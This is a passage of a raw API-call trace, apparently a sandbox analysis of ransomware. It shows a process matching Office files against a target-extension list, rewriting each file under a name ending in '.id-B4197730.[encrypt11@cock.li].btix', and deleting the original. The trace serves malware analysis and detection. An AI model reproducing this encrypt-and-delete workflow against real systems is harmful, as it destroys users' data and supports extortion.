(lpString=".7z") returned 3 [0158.738] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.738] lstrlenW (lpString=".dbf") returned 4 [0158.738] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.738] lstrlenW (lpString=".1cd") returned 4 [0158.738] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.738] lstrlenW (lpString=".jpg") returned 4 [0158.738] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.738] lstrlenW (lpString=".doc") returned 4 [0158.738] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.738] lstrlenW (lpString=".docx") returned 5 [0158.738] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.738] lstrlenW (lpString=".pdf") returned 4 [0158.738] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.738] lstrlenW (lpString=".xls") returned 4 [0158.738] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.738] lstrlenW (lpString=".xlsx") returned 5 [0158.738] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.738] lstrlenW (lpString=".ppt") returned 4 [0158.738] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.738] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.738] lstrlenW (lpString=".zip") returned 4 [0158.738] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.738] lstrlenW (lpString=".rar") returned 4 [0158.739] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.739] lstrlenW (lpString=".bz2") returned 4 [0158.739] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.739] lstrlenW (lpString=".7z") returned 3 [0158.739] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.739] lstrlenW (lpString=".dbf") returned 4 [0158.739] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.739] lstrlenW (lpString=".1cd") returned 4 [0158.739] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.739] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\JNGLE_01.MID") returned 68 [0158.739] lstrlenW (lpString=".jpg") returned 4 [0158.739] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.739] lstrcmpiW (lpString1=".MID", lpString2=".btix") returned 1 [0158.739] lstrlenW (lpString="MUSIC_01.MID") returned 12 [0158.739] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.739] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x33dff14 | out: lpFileSize=0x33dff14*=6880) returned 1 [0158.739] CloseHandle (hObject=0x364) returned 1 [0158.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 0x220 [0158.739] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0158.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0158.740] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.740] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.740] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0158.740] GetLastError () returned 0x0 [0158.740] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x1ae0, lpOverlapped=0x0) returned 1 [0158.741] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x1af0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x1af0, lpOverlapped=0x0) returned 1 [0158.742] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.742] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.742] SetEndOfFile (hFile=0x358) returned 1 [0158.742] CloseHandle (hObject=0x358) returned 1 [0158.742] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.742] SetEndOfFile (hFile=0x364) returned 1 [0158.743] CloseHandle (hObject=0x364) returned 1 [0158.743] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.743] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\music_01.mid")) returned 1 [0158.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0158.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0158.744] lstrlenW (lpString=".doc") returned 4 [0158.744] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.744] lstrlenW (lpString=".docx") returned 5 [0158.744] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.744] lstrlenW (lpString=".pdf") returned 4 [0158.744] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.744] lstrlenW (lpString=".xls") returned 4 [0158.744] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.744] lstrlenW (lpString=".xlsx") returned 5 [0158.744] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.744] lstrlenW (lpString=".ppt") returned 4 [0158.744] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0158.744] lstrlenW (lpString=".zip") returned 4 [0158.744] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.744] lstrlenW (lpString=".rar") returned 4 [0158.744] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.744] lstrlenW (lpString=".bz2") returned 4 [0158.744] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.744] lstrlenW (lpString=".7z") returned 3 [0158.744] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0158.744] lstrlenW (lpString=".dbf") returned 4 [0158.744] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.744] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0158.744] lstrlenW (lpString=".1cd") returned 4 [0158.744] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.745] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\MUSIC_01.MID") returned 68 [0158.745] lstrlenW (lpString=".jpg") returned 4 [0158.745] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.745] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.745] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.745] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0158.745] GetLastError () returned 0x0 [0158.745] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x1750, lpOverlapped=0x0) returned 1 [0158.746] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x1760, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x1760, lpOverlapped=0x0) returned 1 [0158.747] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.747] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.747] SetEndOfFile (hFile=0x358) returned 1 [0158.747] CloseHandle (hObject=0x358) returned 1 [0158.747] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.747] SetEndOfFile (hFile=0x364) returned 1 [0158.748] CloseHandle (hObject=0x364) returned 1 [0158.748] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.748] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\nbook_01.mid")) returned 1 [0158.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0158.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0158.749] lstrlenW (lpString=".doc") returned 4 [0158.749] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.749] lstrlenW (lpString=".docx") returned 5 [0158.749] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.749] lstrlenW (lpString=".pdf") returned 4 [0158.749] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.749] lstrlenW (lpString=".xls") returned 4 [0158.749] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.749] lstrlenW (lpString=".xlsx") returned 5 [0158.749] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.749] lstrlenW (lpString=".ppt") returned 4 [0158.749] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0158.749] lstrlenW (lpString=".zip") returned 4 [0158.749] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.749] lstrlenW (lpString=".rar") returned 4 [0158.749] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.749] lstrlenW (lpString=".bz2") returned 4 [0158.749] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.749] lstrlenW (lpString=".7z") returned 3 [0158.749] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0158.749] lstrlenW (lpString=".dbf") returned 4 [0158.749] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0158.749] lstrlenW (lpString=".1cd") returned 4 [0158.749] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.749] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\NBOOK_01.MID") returned 68 [0158.749] lstrlenW (lpString=".jpg") returned 4 [0158.749] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.750] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.750] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0158.750] GetLastError () returned 0x0 [0158.750] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x1540, lpOverlapped=0x0) returned 1 [0158.751] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x1550, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x1550, lpOverlapped=0x0) returned 1 [0158.752] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.752] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.752] SetEndOfFile (hFile=0x358) returned 1 [0158.752] CloseHandle (hObject=0x358) returned 1 [0158.752] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.752] SetEndOfFile (hFile=0x364) returned 1 [0158.753] CloseHandle (hObject=0x364) returned 1 [0158.753] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0158.753] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\ocean_01.mid")) returned 1 [0158.753] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0158.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0158.754] lstrlenW (lpString=".doc") returned 4 [0158.754] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0158.754] lstrlenW (lpString=".docx") returned 5 [0158.754] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0158.754] lstrlenW (lpString=".pdf") returned 4 [0158.754] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0158.754] lstrlenW (lpString=".xls") returned 4 [0158.754] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0158.754] lstrlenW (lpString=".xlsx") returned 5 [0158.754] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0158.754] lstrlenW (lpString=".ppt") returned 4 [0158.754] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0158.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0158.754] lstrlenW (lpString=".zip") returned 4 [0158.754] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0158.754] lstrlenW (lpString=".rar") returned 4 [0158.754] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0158.754] lstrlenW (lpString=".bz2") returned 4 [0158.754] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0158.754] lstrlenW (lpString=".7z") returned 3 [0158.754] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0158.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0158.754] lstrlenW (lpString=".dbf") returned 4 [0158.754] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0158.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0158.754] lstrlenW (lpString=".1cd") returned 4 [0158.754] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0158.754] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OCEAN_01.MID") returned 68 [0158.754] lstrlenW (lpString=".jpg") returned 4 [0158.754] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0158.755] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.755] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0158.755] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x358 [0158.755] GetLastError () returned 0x0 [0158.755] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x19f4, lpOverlapped=0x0) returned 1 [0158.756] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x1a00, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x1a00, lpOverlapped=0x0) returned 1 [0158.947] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0158.947] WriteFile (in: hFile=0x358, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xec, lpOverlapped=0x0) returned 1 [0158.947] SetEndOfFile (hFile=0x358) returned 1 [0159.113] CloseHandle (hObject=0x358) returned 1 [0159.136] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.137] SetEndOfFile (hFile=0x364) returned 1 [0159.303] CloseHandle (hObject=0x364) returned 1 [0159.303] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.303] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\outdr_01.mid")) returned 1 [0159.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0159.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0159.304] lstrlenW (lpString=".doc") returned 4 [0159.304] lstrcmpiW (lpString1=".doc", lpString2=".MID") returned -1 [0159.304] lstrlenW (lpString=".docx") returned 5 [0159.304] lstrcmpiW (lpString1=".docx", lpString2="1.MID") returned -1 [0159.304] lstrlenW (lpString=".pdf") returned 4 [0159.304] lstrcmpiW (lpString1=".pdf", lpString2=".MID") returned 1 [0159.304] lstrlenW (lpString=".xls") returned 4 [0159.304] lstrcmpiW (lpString1=".xls", lpString2=".MID") returned 1 [0159.304] lstrlenW (lpString=".xlsx") returned 5 [0159.304] lstrcmpiW (lpString1=".xlsx", lpString2="1.MID") returned -1 [0159.304] lstrlenW (lpString=".ppt") returned 4 [0159.304] lstrcmpiW (lpString1=".ppt", lpString2=".MID") returned 1 [0159.304] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0159.304] lstrlenW (lpString=".zip") returned 4 [0159.304] lstrcmpiW (lpString1=".zip", lpString2=".MID") returned 1 [0159.304] lstrlenW (lpString=".rar") returned 4 [0159.304] lstrcmpiW (lpString1=".rar", lpString2=".MID") returned 1 [0159.305] lstrlenW (lpString=".bz2") returned 4 [0159.305] lstrcmpiW (lpString1=".bz2", lpString2=".MID") returned -1 [0159.305] lstrlenW (lpString=".7z") returned 3 [0159.305] lstrcmpiW (lpString1=".7z", lpString2="MID") returned -1 [0159.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0159.305] lstrlenW (lpString=".dbf") returned 4 [0159.305] lstrcmpiW (lpString1=".dbf", lpString2=".MID") returned -1 [0159.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0159.305] lstrlenW (lpString=".1cd") returned 4 [0159.305] lstrcmpiW (lpString1=".1cd", lpString2=".MID") returned -1 [0159.305] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\OUTDR_01.MID") returned 68 [0159.305] lstrlenW (lpString=".jpg") returned 4 [0159.305] lstrcmpiW (lpString1=".jpg", lpString2=".MID") returned -1 [0159.305] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.305] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.305] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\document themes 16\\theme effects\\glossy.eftx.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x338 [0159.306] GetLastError () returned 0x0 [0159.306] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x51cbe, lpOverlapped=0x0) returned 1 [0159.311] WriteFile (in: hFile=0x338, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0x51cc0, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0x51cc0, lpOverlapped=0x0) returned 1 [0159.316] ReadFile (in: hFile=0x364, lpBuffer=0x3e35020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x33dfecc, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesRead=0x33dfecc*=0x0, lpOverlapped=0x0) returned 1 [0159.316] WriteFile (in: hFile=0x338, lpBuffer=0x3e35020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x33dfc94, lpOverlapped=0x0 | out: lpBuffer=0x3e35020*, lpNumberOfBytesWritten=0x33dfc94*=0xea, lpOverlapped=0x0) returned 1 [0159.316] SetEndOfFile (hFile=0x338) returned 1 [0159.316] CloseHandle (hObject=0x338) returned 1 [0159.316] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x33dfec0 | out: lpNewFilePointer=0x0) returned 1 [0159.316] SetEndOfFile (hFile=0x364) returned 1 [0159.319] CloseHandle (hObject=0x364) returned 1 [0159.319] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Document Themes 16\\Theme Effects\\Glossy.eftx.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0159.320] DeleteFileW (lpFileName="C:\\Program 